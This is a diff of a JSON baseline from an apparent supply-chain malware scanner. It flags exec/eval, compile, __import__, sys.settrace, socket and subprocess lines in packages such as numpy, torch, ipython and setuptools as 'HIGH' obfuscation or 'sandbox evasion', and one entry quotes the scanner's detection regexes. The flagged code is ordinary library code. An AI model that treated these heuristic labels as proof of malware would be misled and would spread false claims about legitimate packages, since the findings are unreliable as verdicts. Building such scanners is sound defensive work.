+      "evidence": "Key: L187:         \"-----BEGIN PUBLIC KEY-----\", | L188:         \"-----BEGIN RSA PUBLIC KEY-----\",\nNetwork: L225:         http_client: httpx.AsyncClient | None = None, | L411:                 else httpx.AsyncClient(timeout=httpx.Timeout(10.0))",
+      "evidence_hash": "2d7c7c7bd15d1b8ad44ab52c361940a03ac49a451938d1fac015ebcc667e99d8"
     },
     {
       "package": "ipython",
       "file": "IPython/core/debugger.py",
       "check": "Anti-analysis/sandbox evasion + suspicious behavior",
       "severity": "HIGH",
-      "evidence": "Anti: L960: trace_function = sys.gettrace() | L961: sys.settrace(None) | L973: sys.settrace(trace_function)"
-    },
-    {
-      "package": "ipython",
-      "file": "IPython/core/debugger.py",
-      "check": "exec/eval with payload hidden in a docstring/string",
-      "severity": "HIGH",
-      "evidence": "marshal/compile/obfuscation: L310: # needed by any code which calls __import__(\"__main__\") after"
+      "evidence": "Anti: L986:         trace_function = sys.gettrace() | L987:         sys.settrace(None) | L999:         sys.settrace(trace_function) | L1399:             sys.settrace(None)\nExec: L925:                 x = eval(arg, {}, {})",
+      "evidence_hash": "21a9ef910ae943d07528d57778bb6bb2ae4929161166288b136bdd261aa302f4"
     },
     {
       "package": "ipython",
       "file": "IPython/core/debugger_backport.py",
       "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
       "severity": "HIGH",
-      "evidence": "Obfusc: L79: code = compile(source, \"<string>\", \"exec\")\nExec: L130: exec(source_with_closure, {}, ns) | L138: exec(code, globals, locals_copy, closure=cells) | L200: exec(code, globals, locals)"
+      "evidence": "Obfusc: L79:         code = compile(source, \"<string>\", \"exec\")\nExec: L130:             exec(source_with_closure, {}, ns) | L138:             exec(code, globals, locals_copy, closure=cells) | L200:                     exec(code, globals, locals)",
+      "evidence_hash": "e3098776aede69d3ef87f3c9c38d800e79c34f5888dd0154f2adb8d6521c2232"
     },
     {
       "package": "ipython",
       "file": "IPython/core/magics/execution.py",
       "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
       "severity": "HIGH",
-      "evidence": "Obfusc: L1178: self.shell.compile(ast_setup, \"<magic-timeit-setup>\", \"exec\") | L1179: self.shell.compile(ast_stmt, \"<magic-timeit-stmt>\", \"exec\") | L1200: code = self.shell.compile(timeit_ast, \"<magic-timeit>\", \"exec\")\nExec: L1213: exec(cod"
+      "evidence": "Obfusc: L1193:         self.shell.compile(ast_setup, \"<magic-timeit-setup>\", \"exec\") | L1194:         self.shell.compile(ast_stmt, \"<magic-timeit-stmt>\", \"exec\") | L1215:         code = self.shell.compile(timeit_ast, \"<magic-timeit>\", \"exec\")\nExec: L1228:         exec(code, glob, ns) | L1413:                 out = eval(code, glob, local_ns) | L1427:                 exec(code, glob, local_ns) | L1432:                     out = eval(code_2, glob, local_ns)",
+      "evidence_hash": "8f07416de7d4d46d328edf44ea0eaffadba4078649234f0790f309cae9eec075"
     },
     {
       "package": "ipython",
       "file": "IPython/core/magics/execution.py",
       "check": "Anti-analysis/sandbox evasion + suspicious behavior",
       "severity": "HIGH",
-      "evidence": "Anti: L972: trace = sys.gettrace() | L983: sys.settrace(trace)"
+      "evidence": "Anti: L987:                     trace = sys.gettrace() | L998:                     sys.settrace(trace)\nExec: L1228:         exec(code, glob, ns) | L1413:                 out = eval(code, glob, local_ns) | L1427:                 exec(code, glob, local_ns) | L1432:                     out = eval(code_2, glob, local_ns)",
+      "evidence_hash": "c6ac09239c19c830c9aa0ace92b78abf3a1d349cc493e4926ce1d36c8f1072f9"
     },
     {
       "package": "jinja2",
       "file": "jinja2/environment.py",
       "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
       "severity": "HIGH",
-      "evidence": "Obfusc: L709: return compile(source, filename, \"exec\")\nExec: L1228: exec(code, namespace)"
+      "evidence": "Obfusc: L709:         return compile(source, filename, \"exec\")\nExec: L1228:         exec(code, namespace)",
+      "evidence_hash": "2f574ff55591a58d9c7fc5ed9b90c28cbb2aa37cf85b17ec45b2e21aeb60dd91"
     },
     {
       "package": "matplotlib",
       "file": "matplotlib/sphinxext/plot_directive.py",
       "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
       "severity": "HIGH",
-      "evidence": "Obfusc: L368: compile(text, '<string>', 'exec')\nExec: L585: exec('import numpy as np\\n' | L588: exec(str(setup.config.plot_pre_code), ns) | L594: exec(code, ns)"
+      "evidence": "Obfusc: L326:         compile(text, '<string>', 'exec')\nExec: L543:                     exec('import numpy as np\\n'\nL544:                          'from matplotlib import pyplot as plt\\n', ns) | L546:                     exec(str(setup.config.plot_pre_code), ns) | L552:                 exec(code, ns) | L554:                     exec(function_name + \"()\", ns)",
+      "evidence_hash": "d00abccba1b72d92a8a87f2f31d59036f51e0a42ce94adb063727114ffed35ff"
     },
     {
       "package": "multiprocess",
       "file": "multiprocess/tests/__init__.py",
       "check": "Anti-analysis/sandbox evasion + suspicious behavior",
       "severity": "HIGH",
-      "evidence": "Anti: L440: time.sleep(300)"
+      "evidence": "Anti: L440:         time.sleep(300)\nNetwork: L3651:         client = socket.socket() | L4933:         s = socket.socket() | L5205:             return socket.socket().detach() | L5209:             fd = socket.socket().detach() | L5220:             socket.socket(socket.AF_INET, socket.SOCK_STREAM, fileno=fd).close()\nSubprocess: L4394:         with subprocess.Popen([sys.executable, '-E', '-c', cmd],\nL4395:                               stdout=subprocess.PIPE,\nL4396:                               stderr=subprocess.PIPE) as p: | L5107:         data = subprocess.check_output(\nL5108:             [sys.executable, '-E', '-S', '-O', '-c', prog]) | L5504:                 p = subprocess.Popen([sys.executable,\nL5505:                                      '-E', '-c', cmd.format(w=w, rtype=rtype)],\nL5506:                                      pass_fds=[w],\nL5507:                                      stderr=subprocess.PIPE)",
+      "evidence_hash": "1c12c77946a84106759fb683e1fe21f97ecb39493c584ef2c7945eaa9ec2d095"
     },
     {
       "package": "networkx",
       "file": "networkx/utils/decorators.py",
       "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
       "severity": "HIGH",
-      "evidence": "Obfusc: L911: compiled = compile(code, filename, \"exec\")\nExec: L912: exec(compiled, globl, locl)"
+      "evidence": "Obfusc: L911:         compiled = compile(code, filename, \"exec\")\nExec: L912:         exec(compiled, globl, locl)",
+      "evidence_hash": "18fe0d0874bd01eaace07a3f02218256281b8e5fe5406a9e808cf915882aac92"
     },
     {
       "package": "numba",
       "file": "numba/np/ufunc/array_exprs.py",
       "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
       "severity": "HIGH",
-      "evidence": "Obfusc: L382: code_obj = compile(ast_module, expr_filename, 'exec')\nExec: L383: exec(code_obj, namespace)"
+      "evidence": "Obfusc: L382:     code_obj = compile(ast_module, expr_filename, 'exec')\nExec: L383:     exec(code_obj, namespace)",
+      "evidence_hash": "d52643b024852adb213bde05fcb09240a8dacdcd98ca127ba4f261e14aa88beb"
     },
     {
       "package": "numba",
       "file": "numba/tests/support.py",
       "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
       "severity": "HIGH",
-      "evidence": "Obfusc: L879: __import__(modname)\nExec: L813: eval(co, globs, ns)"
+      "evidence": "Obfusc: L879:     __import__(modname)\nExec: L813:     eval(co, globs, ns)",
+      "evidence_hash": "649a7d750f903478243b0bcb9e8020521b505fc7fedc5b696ec01f4efc096109"
     },
     {
       "package": "numba",
       "file": "numba/tests/test_firstlinefinder.py",
       "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
       "severity": "HIGH",
-      "evidence": "Obfusc: L95: code = compile(source, filename, \"exec\")\nExec: L77: exec(source, globalns) | L98: exec(code, globalns)"
+      "evidence": "Obfusc: L95:         code = compile(source, filename, \"exec\")\nExec: L77:         exec(source, globalns) | L98:         exec(code, globalns)",
+      "evidence_hash": "5900bf71c1d91dcb87ee1fab1abe52dcec9145f907c5f0deac5dfa1b77a6c788"
     },
     {
       "package": "numba",
       "file": "numba/tests/test_funcdesc.py",
       "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
       "severity": "HIGH",
-      "evidence": "Obfusc: L24: compiled = compile(code, filename, 'exec')\nExec: L25: exec(compiled, objs)"
+      "evidence": "Obfusc: L24:         compiled = compile(code, filename, 'exec')\nExec: L25:         exec(compiled, objs)",
+      "evidence_hash": "e33d91ade3db9e77fab5e26d5f1cba96301fdd7b9291c1d526201d3e58f8b495"
     },
     {
       "package": "numba",
       "file": "numba/tests/test_import.py",
       "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
       "severity": "HIGH",
-      "evidence": "Obfusc: L33: __import__(mod)\nExec: L43: modlist = set(eval(out.strip())) | L97: modlist = set(eval(out.strip()))"
+      "evidence": "Obfusc: L33:                 __import__(mod)\nExec: L43:         modlist = set(eval(out.strip())) | L97:             modlist = set(eval(out.strip()))",
+      "evidence_hash": "3e9c4c8fa91ebc95b525d14c6bcc84aa53b20fb47fa8e40014f6902cbae4489a"
     },
     {
       "package": "numba",
       "file": "numba/tests/test_np_functions.py",
       "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
       "severity": "HIGH",
-      "evidence": "Obfusc: L7106: exec(compile(funcstr, '<string>', 'exec'), globals(), dct)\nExec: L7106: exec(compile(funcstr, '<string>', 'exec'), globals(), dct)"
+      "evidence": "Obfusc: L7106:         exec(compile(funcstr, '<string>', 'exec'), globals(), dct)\nExec: L7106:         exec(compile(funcstr, '<string>', 'exec'), globals(), dct)",
+      "evidence_hash": "9e81164131d16056fb56ad3cd11b8d129d1ff4f5855031e8b501e0335d5c14ed"
     },
     {
       "package": "numpy",
       "file": "numpy/testing/_private/utils.py",
       "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
       "severity": "HIGH",
-      "evidence": "Obfusc: L1627: code = compile(code_str, f'Test name: {label} ', 'exec')\nExec: L1346: exec(astr, dict) | L1632: exec(code, globs, locs)"
+      "evidence": "Obfusc: L1627:     code = compile(code_str, f'Test name: {label} ', 'exec')\nExec: L1346:     exec(astr, dict) | L1632:         exec(code, globs, locs)",
+      "evidence_hash": "0f709178d59737ab994e7c63800a434bdb56e9c4c72f6dc5d3ebf3bf8eb4245c"
     },
     {
       "package": "numpy",
       "file": "numpy/testing/_private/utils.py",
       "check": "Anti-analysis/sandbox evasion + suspicious behavior",
       "severity": "HIGH",
-      "evidence": "Anti: L2777: original_trace = sys.gettrace() | L2779: sys.settrace(None) | L2782: sys.settrace(original_trace)"
+      "evidence": "Anti: L2777:             original_trace = sys.gettrace() | L2779:                 sys.settrace(None) | L2782:                 sys.settrace(original_trace)\nSubprocess: L1478:         output = subprocess.run(cmd, capture_output=True, text=True)\nExec: L1346:     exec(astr, dict) | L1632:         exec(code, globs, locs)",
+      "evidence_hash": "27468a6828101c6c026ae25aca8aa90ef485fd62b2c8f0967479edae9c965844"
+    },
+    {
+      "package": "numpy",
+      "file": "numpy/testing/_private/utils.py",
+      "check": "Anti-analysis/sandbox evasion + suspicious behavior",
+      "severity": "HIGH",
+      "evidence": "Anti: L2788:             original_trace = sys.gettrace() | L2790:                 sys.settrace(None) | L2793:                 sys.settrace(original_trace)\nSubprocess: L1486:         output = subprocess.run(cmd, capture_output=True, text=True) | L2889:     res = subprocess.run(cmd, cwd=cwd, capture_output=True, text=True,\nL2890:                          errors=\"replace\", **kwargs)\nExec: L1352:     exec(astr, dict) | L1640:         exec(code, globs, locs)",
+      "evidence_hash": "9c6961817e5b1751e572dfe0858286703bb835870ecdfd6a7a9fdd8372a5dd2b"
     },
     {
       "package": "numpy",
       "file": "numpy/tests/test_public_api.py",
       "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
       "severity": "HIGH",
-      "evidence": "Obfusc: L543: core_submodule = __import__(\nExec: L405: eval(module_name)"
+      "evidence": "Obfusc: L543:                 core_submodule = __import__(\nL544:                     f\"numpy.core.{submodule_name}\",\nL545:                     fromlist=[submodule_member_name]\nL546:                 )\nExec: L405:             eval(module_name)",
+      "evidence_hash": "084667d5d7ec9e186eea25abc9026122f15c39ec1ec734dbd5d8d801af99af1d"
     },
     {
       "package": "pillow",
       "file": "PIL/Image.py",
       "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
       "severity": "HIGH",
-      "evidence": "Obfusc: L422: __import__(f\"{__spec__.parent}.{plugin}\", globals(), locals(), []) | L490: __import__(f\"{__spec__.parent}.{plugin}\", globals(), locals(), [])\nExec: L3772: def eval(image: Image, *args: Callable[[int], float]) -> Image:"
+      "evidence": "Obfusc: L422:         __import__(f\"{__spec__.parent}.{plugin}\", globals(), locals(), []) | L490:             __import__(f\"{__spec__.parent}.{plugin}\", globals(), locals(), [])\nExec: L3772: def eval(image: Image, *args: Callable[[int], float]) -> Image:",
+      "evidence_hash": "c2c1e7ae44e15862caf8de549d09db7b35e93282450f07ef61aaf5450a408c13"
     },
     {
       "package": "protobuf",
       "file": "protobuf-3.19.6-nspkg.pth",
       "check": "Unusually large executable .pth (539 bytes)",
       "severity": "HIGH",
-      "evidence": "1 import line(s) in 539-byte .pth file"
+      "evidence": "1 import line(s) in 539-byte .pth file sha256:c47e604f1738522a583f7aab6cffb80821cd18157dede051e10aa185e0af065e",
+      "evidence_hash": "26acfc4bd3ab7973d7195e470afc660c89d34c8e0d32d3d8f15941db3e4acb8e"
     },
     {
       "package": "pygments",
       "file": "pygments/formatters/__init__.py",
       "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
       "severity": "HIGH",
-      "evidence": "Obfusc: L38: mod = __import__(module_name, None, None, ['__all__'])\nExec: L103: exec(f.read(), custom_namespace)"
+      "evidence": "Obfusc: L38:     mod = __import__(module_name, None, None, ['__all__'])\nExec: L103:             exec(f.read(), custom_namespace)",
+      "evidence_hash": "8af02b2b951bb656fab606867ffab838490363a604f4773d08c1f40623678bd0"
     },
     {
       "package": "pygments",
       "file": "pygments/lexers/__init__.py",
       "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
       "severity": "HIGH",
-      "evidence": "Obfusc: L45: mod = __import__(module_name, None, None, ['__all__'])\nExec: L154: exec(f.read(), custom_namespace)"
+      "evidence": "Obfusc: L45:     mod = __import__(module_name, None, None, ['__all__'])\nExec: L154:             exec(f.read(), custom_namespace)",
+      "evidence_hash": "8af02b2b951bb656fab606867ffab838490363a604f4773d08c1f40623678bd0"
     },
     {
       "package": "scikit-learn",
       "file": "sklearn/externals/array_api_compat/torch/__init__.py",
       "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
       "severity": "HIGH",
-      "evidence": "Obfusc: L19: __import__(__package__ + '.linalg') | L20: __import__(__package__ + '.fft')\nExec: L12: exec(f\"{n} = torch.{n}\")"
+      "evidence": "Obfusc: L19: __import__(__package__ + '.linalg') | L20: __import__(__package__ + '.fft')\nExec: L12:     exec(f\"{n} = torch.{n}\")",
+      "evidence_hash": "3167e0f828bc28964e5054786712d029e967fb8cacb40717978b7acafc68c1ea"
     },
     {
       "package": "scipy",
       "file": "scipy/optimize/_optimize.py",
       "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
       "severity": "HIGH",
-      "evidence": "Obfusc: L4155: __import__(mod_name)\nExec: L323: def eval(x):"
+      "evidence": "Obfusc: L4155:             __import__(mod_name)\nExec: L323:     def eval(x):",
+      "evidence_hash": "7935cfbe0634201c1ad7626bc38ae17c52cca968bbcfacea236f05c9576dcabd"
     },
     {
       "package": "setuptools",
       "file": "pkg_resources/__init__.py",
       "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
       "severity": "HIGH",
-      "evidence": "Obfusc: L423: __import__(moduleOrReq) | L1739: code = compile(source, script_filename, 'exec') | L1750: script_code = compile(script_text, script_filename, 'exec')\nExec: L1740: exec(code, namespace, namespace) | L1751: exec(script_code, nam"
+      "evidence": "Obfusc: L423:         __import__(moduleOrReq) | L1739:             code = compile(source, script_filename, 'exec') | L1750:             script_code = compile(script_text, script_filename, 'exec') | L2562:                 __import__(parent) | L2785:         module = __import__(self.module_name, fromlist=['__name__'], level=0)\nExec: L1740:             exec(code, namespace, namespace) | L1751:             exec(script_code, namespace, namespace)",
+      "evidence_hash": "ae52cd10e8d27abe5539a1e1abc11635cef6c2a68aba98579385d8d55271fcd4"
     },
     {
       "package": "setuptools",
       "file": "setuptools/_distutils/compilers/C/base.py",
       "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
       "severity": "HIGH",
-      "evidence": "Obfusc: L1286: __import__(module_name)\nExec: L1113: if lib_type not in eval(expected):"
+      "evidence": "Obfusc: L1286:         __import__(module_name)\nExec: L1113:         if lib_type not in eval(expected):",
+      "evidence_hash": "368651e9818ed2d1bb009027d3bcfbf94ae30639c0882a6c2bddde97b8c4f1e5"
     },
     {
       "package": "setuptools",
       "file": "setuptools/launch.py",
       "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
       "severity": "HIGH",
-      "evidence": "Obfusc: L31: code = compile(norm_script, script_name, 'exec')\nExec: L32: exec(code, namespace)"
+      "evidence": "Obfusc: L31:     code = compile(norm_script, script_name, 'exec')\nExec: L32:     exec(code, namespace)",
+      "evidence_hash": "eae05adb1b163466a753f16be119072581011fa2a9f1cbd80d2e69ea3c7d20d9"
     },
     {
       "package": "setuptools",
       "file": "setuptools/tests/config/test_pyprojecttoml.py",
       "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
       "severity": "HIGH",
-      "evidence": "Obfusc: L364: \"setup.py\": \"__import__('setuptools').setup(include_package_data=False)\",\nExec: L98: \"__main__.py\": \"def exec(): print('hello')\","
+      "evidence": "Obfusc: L364:         \"setup.py\": \"__import__('setuptools').setup(include_package_data=False)\",\nExec: L98:             \"__main__.py\": \"def exec(): print('hello')\",",
+      "evidence_hash": "067d41014f72a61d8b4adf25f3659d1f66a0e909f732223f48837aa7684df4e6"
     },
     {
       "package": "setuptools",
       "file": "setuptools/tests/test_editable_install.py",
       "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
       "severity": "HIGH",
-      "evidence": "Obfusc: L120: SETUP_SCRIPT_STUB = \"__import__('setuptools').setup()\"\nExec: L449: exec(finder, loc, loc)"
+      "evidence": "Obfusc: L120: SETUP_SCRIPT_STUB = \"__import__('setuptools').setup()\"\nExec: L449:         exec(finder, loc, loc)",
+      "evidence_hash": "a78d7f5af7eb4ba92656cda258c195b92f6337c585c97d0823e47a9d4a2eb15d"
     },
     {
       "package": "setuptools",
       "file": "setuptools/wheel.py",
       "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
       "severity": "HIGH",
-      "evidence": "Obfusc: L35: NAMESPACE_PACKAGE_INIT = \"__import__('pkg_resources').declare_namespace(__name__)\\n\"\nExec: L191: def eval(req, **env): | L212: (req for req in reqs if for_extra(req) and eval(req, extra=extra)),"
+      "evidence": "Obfusc: L35: NAMESPACE_PACKAGE_INIT = \"__import__('pkg_resources').declare_namespace(__name__)\\n\"\nExec: L191:         def eval(req, **env): | L212:                     (req for req in reqs if for_extra(req) and eval(req, extra=extra)),",
+      "evidence_hash": "9c22b176a4660dcc5d3d16a78b1994e600707a6ee78eb413757e677dc3d903ce"
     },
     {
       "package": "six",
       "file": "six.py",
       "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
       "severity": "HIGH",
-      "evidence": "Obfusc: L87: __import__(name)\nExec: L740: exec(\"\"\"exec _code_ in _globs_, _locs_\"\"\")"
+      "evidence": "Obfusc: L87:     __import__(name)\nExec: L740:         exec(\"\"\"exec _code_ in _globs_, _locs_\"\"\")",
+      "evidence_hash": "3cb7d8247dea7dd3d7b21ededc0181c58c50099aeb73c9138a286f3d1ad92d4f"
     },
     {
       "package": "sympy",
       "file": "sympy/external/importtools.py",
       "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
       "severity": "HIGH",
-      "evidence": "Obfusc: L145: mod = __import__(module, **import_kwargs) | L154: __import__(module + '.' + submod)\nExec: L21: return eval(debug_str)"
+      "evidence": "Obfusc: L145:         mod = __import__(module, **import_kwargs) | L154:                 __import__(module + '.' + submod)\nExec: L21:         return eval(debug_str)",
+      "evidence_hash": "bae3d873046013ecbe4fb6b4dd707d55593bc85436779063a4792c817323f7ce"
     },
     {
       "package": "sympy",
       "file": "sympy/plotting/experimental_lambdify.py",
       "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
       "severity": "HIGH",
-      "evidence": "Obfusc: L249: namespace.update({'math': __import__('math')}) | L251: namespace.update({'cmath': __import__('cmath')}) | L254: namespace.update({'np': __import__('numpy')})\nExec: L268: exec(\"MYNEWLAMBDA = %s\" % eval_str, namespace)"
+      "evidence": "Obfusc: L249:             namespace.update({'math': __import__('math')}) | L251:             namespace.update({'cmath': __import__('cmath')}) | L254:                 namespace.update({'np': __import__('numpy')}) | L259:             namespace.update({'imath': __import__(\nL260:                 'sympy.plotting.intervalmath', fromlist=['intervalmath'])}) | L261:             namespace.update({'math': __import__('math')})\nExec: L268:         exec(\"MYNEWLAMBDA = %s\" % eval_str, namespace)",
+      "evidence_hash": "a2cf99a96863e82c132ede769f9277f642f283c70e9db637b0a9b949186343cf"
     },
     {
       "package": "sympy",
       "file": "sympy/utilities/lambdify.py",
       "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
       "severity": "HIGH",
-      "evidence": "Obfusc: L919: c = compile(funcstr, filename, 'exec')\nExec: L163: module = eval(import_command) | L170: exec(import_command, {}, namespace) | L903: exec(ln, {}, namespace)"
-    },
-    {
-      "package": "tensorboard",
-      "file": "tensorboard/plugins/projector/tf_projector_plugin/projector_binary.js",
-      "check": "Python wheel ships large JS bundle (uncommon; manually review)",
-      "severity": "HIGH",
-      "evidence": ""
+      "evidence": "Obfusc: L919:     c = compile(funcstr, filename, 'exec')\nExec: L163:             module = eval(import_command) | L170:                 exec(import_command, {}, namespace) | L903:                     exec(ln, {}, namespace) | L909:                     exec(ln, {}, namespace) | L920:     exec(c, namespace, funclocals)",
+      "evidence_hash": "ab4f5819576a70038301668b8f3e4a781c4b757b146117d5d93eab1896a5a6cd"
     },
     {
       "package": "torch",
       "file": "torch/_dynamo/bytecode_debugger.py",
       "check": "Anti-analysis/sandbox evasion + suspicious behavior",
       "severity": "HIGH",
-      "evidence": "Anti: L1048: self._old_trace = sys.gettrace() | L1049: sys.settrace(self._settrace_callback) | L1106: sys.settrace(self._old_trace)"
+      "evidence": "Anti: L1048:             self._old_trace = sys.gettrace() | L1049:             sys.settrace(self._settrace_callback) | L1106:             sys.settrace(self._old_trace)\nExec: L683:                         result = eval(arg, frame_globals, eval_locals) | L708:                     result = eval(cmd, frame_globals, eval_locals) | L716:                         exec(cmd, frame_globals, eval_locals)",
+      "evidence_hash": "dc2afd1769d357c15b69802bd2799fafa059c0b1dcdd4937528fb5b601962f1b"
     },
     {
       "package": "torch",
       "file": "torch/_functorch/_aot_autograd/subclass_codegen.py",
       "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
       "severity": "HIGH",
-      "evidence": "Obfusc: L342: code = compile(source, f\"<{artifact_name}>\", \"exec\")\nExec: L344: exec(code, globals_dict, local_dict)"
+      "evidence": "Obfusc: L342:     code = compile(source, f\"<{artifact_name}>\", \"exec\")\nExec: L344:     exec(code, globals_dict, local_dict)",
+      "evidence_hash": "b3c8fac5f30b611618085c8fa146ab48c9e00defba83aa4df2e3a570db00bf67"
     },
     {
       "package": "torch",
       "file": "torch/fx/experimental/rewriter.py",
       "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
       "severity": "HIGH",
-      "evidence": "Obfusc: L46: code = compile(dest_ast, \"\", \"exec\")\nExec: L49: exec(code, globals_dict)"
+      "evidence": "Obfusc: L46:         code = compile(dest_ast, \"\", \"exec\")\nExec: L49:         exec(code, globals_dict)",
+      "evidence_hash": "76374f96feed416eec390458843621f33524cfb8d93ef0f3eb4cb1b47d0ad748"
     },
     {
       "package": "torch",
       "file": "torch/fx/graph_module.py",
       "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
       "severity": "HIGH",
-      "evidence": "Obfusc: L106: exec(compile(src, key, \"exec\"), globals)\nExec: L106: exec(compile(src, key, \"exec\"), globals)"
+      "evidence": "Obfusc: L106:     exec(compile(src, key, \"exec\"), globals)\nExec: L106:     exec(compile(src, key, \"exec\"), globals)",
+      "evidence_hash": "db35f4d5ce3b1ad6466e6438be3f2a1806e83ca95edb020eb9869e6cc6080a15"
     },
     {
       "package": "torch",
       "file": "torch/package/package_importer.py",
       "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
       "severity": "HIGH",
-      "evidence": "Obfusc: L602: def __import__(self, name, globals=None, locals=None, fromlist=(), level=0):\nExec: L412: exec(code, ns)"
+      "evidence": "Obfusc: L602:     def __import__(self, name, globals=None, locals=None, fromlist=(), level=0):\nExec: L412:             exec(code, ns)",
+      "evidence_hash": "c7c0650f0c74a086d224112f77ee76634b8f47afc047ce27fee8c7fc45560512"
     },
     {
       "package": "triton",
       "file": "triton/runtime/interpreter.py",
       "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
       "severity": "HIGH",
-      "evidence": "Obfusc: L1435: compiled_code = compile(transformed_ast, filename=self.filename, mode='exec')\nExec: L1441: exec(compiled_code, fn_globals, local_namespace)"
-    },
-    {
-      "package": "unsloth-zoo",
-      "file": "scripts/scan_packages.py",
-      "check": "exec/eval with payload hidden in a docstring/string",
-      "severity": "HIGH",
-      "evidence": "marshal/compile/obfuscation: L132: r\"|\\bbytearray\\s*\\(\\s*\\[.*?\\]\\s*\\)\"  # bytearray([104,101,...]) | L135: r\"|\\bgetattr\\s*\\(\\s*__builtins__\"  # getattr(__builtins__, ...)"
+      "evidence": "Obfusc: L1435:         compiled_code = compile(transformed_ast, filename=self.filename, mode='exec')\nExec: L1441:         exec(compiled_code, fn_globals, local_namespace)",
+      "evidence_hash": "ccde8f3fb7193b8004d8042fe1de107f19ab5f540300024ec43f9c0047c2a711"
     },
     {
       "package": "unsloth-zoo",
       "file": "tests/test_compiler_dynamic_exec.py",
       "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
       "severity": "HIGH",
-      "evidence": "Obfusc: L126: code = compile(source, f\"<{entry_point}>\", \"exec\")\nExec: L134: exec(code, sandbox)"
+      "evidence": "Obfusc: L126:         code = compile(source, f\"<{entry_point}>\", \"exec\")\nExec: L134:         exec(code, sandbox)",
+      "evidence_hash": "85af0176d2a3662e7c269f7a397cca8d92eb79eb6d106b3e58a54c7a102cef69"
     },
     {
       "package": "unsloth-zoo",
       "file": "tests/test_fused_forward_install.py",
       "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
       "severity": "HIGH",
-      "evidence": "Obfusc: L268: code = compile(src, fake_path, \"exec\")\nExec: L269: exec(code, namespace)"
-    },
-    {
-      "package": "unsloth-zoo",
-      "file": "tests/test_upstream_pinned_symbols_trl_vllm.py",
-      "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
-      "severity": "HIGH",
-      "evidence": "Obfusc: L379: mod = __import__(modpath, fromlist=[\"Logprob\"])\nExec: L238: \"unsloth_zoo dispatch via `eval(f'trl.trainer.{trainer_file}.{name}')` breaks\""
-    },
-    {
-      "package": "unsloth-zoo",
-      "file": "unsloth_zoo/compiler.py",
-      "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
-      "severity": "HIGH",
-      "evidence": "Obfusc: L1013: _mod = __import__(model_location, fromlist=items) | L4291: f\"   {chr(92)}{chr(92)}   /|    Num examples = {num_examples:,} | Num Epochs = {num_train_epochs:,} | Total steps = {max_steps:,}\\\\n\"\\\\ | L4292: f\"O^O/ {chr(92)}_/ {c"
-    },
-    {
-      "package": "unsloth-zoo",
-      "file": "unsloth_zoo/fused_losses/forward_install.py",
-      "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
-      "severity": "HIGH",
-      "evidence": "Obfusc: L274: code = compile(new_src, synthetic_path, \"exec\")\nExec: L275: exec(code, ns)"
-    },
-    {
-      "package": "unsloth-zoo",
-      "file": "unsloth_zoo/mlx/loader.py",
-      "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
-      "severity": "HIGH",
-      "evidence": "Obfusc: L1739: _mod = __import__(module_name, fromlist=[\"_\"])\nExec: L141: mx.eval(model.parameters()) | L1543: model.eval() | L2126: mx.eval(model.parameters())"
-    },
-    {
-      "package": "unsloth-zoo",
-      "file": "unsloth_zoo/patching_utils.py",
-      "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
-      "severity": "HIGH",
-      "evidence": "Obfusc: L706: compile(new_source, '<temp_patched>', 'exec')\nExec: L221: try:    exec(_try_compile_argument) | L226: try:    exec(_try_dynamo_argument) | L570: exec(\"from torch._dynamo.compiled_autograd import (\" + \", \".join(x for x in good_"
-    },
-    {
-      "package": "unsloth-zoo",
-      "file": "unsloth_zoo/saving_utils.py",
-      "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
-      "severity": "HIGH",
-      "evidence": "Obfusc: L3078: module = __import__('transformers', fromlist=[model_class_name])\nExec: L2960: exec(f\"from transformers.modeling_utils import ({', '.join(functions)})\", locals(), globals()) | L3006: exec(save_pretrained, globals(), functions)"
+      "evidence": "Obfusc: L268:     code = compile(src, fake_path, \"exec\")\nExec: L269:     exec(code, namespace)",
+      "evidence_hash": "0bd08f4d68c9f3bf3dd91d3351a4c7a6c44c2f494c70776750e821fbbbad4faa"
     },
     {
       "package": "unsloth-zoo",
       "file": "tests/test_mlx_trainer_internals.py",
       "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
       "severity": "HIGH",
-      "evidence": "Obfusc: L430: assert ppl == pytest.approx(__import__(\"math\").exp(2.5))\nExec: L408: def eval(self):"
